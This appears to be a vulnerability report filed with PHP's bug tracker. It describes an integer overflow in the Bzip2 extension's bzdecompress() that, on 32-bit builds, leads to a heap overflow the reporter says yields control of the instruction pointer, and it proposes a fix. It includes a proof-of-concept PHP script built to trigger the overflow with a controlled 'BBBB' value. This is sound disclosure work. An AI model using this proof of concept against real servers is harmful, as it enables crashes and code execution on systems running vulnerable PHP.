Description:
------------
I have found some vulnerable code at bzdecompress() function in module Bzip2. bzdecompress() function creates a new zend_string object to store decompressed data. The size of destination string depends on the size of source string. ( reffer at ext/bz2/bz2.c:589 )

static PHP_FUNCTION(bzdecompress)
{
....

	bzs.avail_in = source_len;
	/* in most cases bz2 offers at least 2:1 compression, so we use that as our base */
	bzs.avail_out = source_len * 2;
	dest = zend_string_alloc(bzs.avail_out + 1, 0);
    
....
}

If compressed string is too long, bzs.avail_out will be an unexpected value and zend_string_alloc() function will allocate a small memory range. Due to missing check of size before calling
zend_string_alloc(), this new memory range can not use to store large decompressed data and lead to heap overflow. The overflow results as arbitrary code execution, I can control eip register to the arbitrary value. This bug is only triggered in 32bit machine.

Solution:
It should be zend_string_alloc_safe instead of zend_string_alloc.

Test script:
---------------
<?php
ini_set('memory_limit', -1);
$s = str_repeat('A', 0xE3AC)."BBBB".str_repeat('C', 0x1C50);
$a = bzcompress($s);
$a = $a.str_repeat('A', 4634 - strlen($a));
$a = str_repeat($a, 0x7ffffffe / strlen($a));
bzdecompress($a);
?>

Actual result:
--------------
[root@local PHP-7.1]# gdb --args sapi/cli/php -f ../crash/bz_poc.php
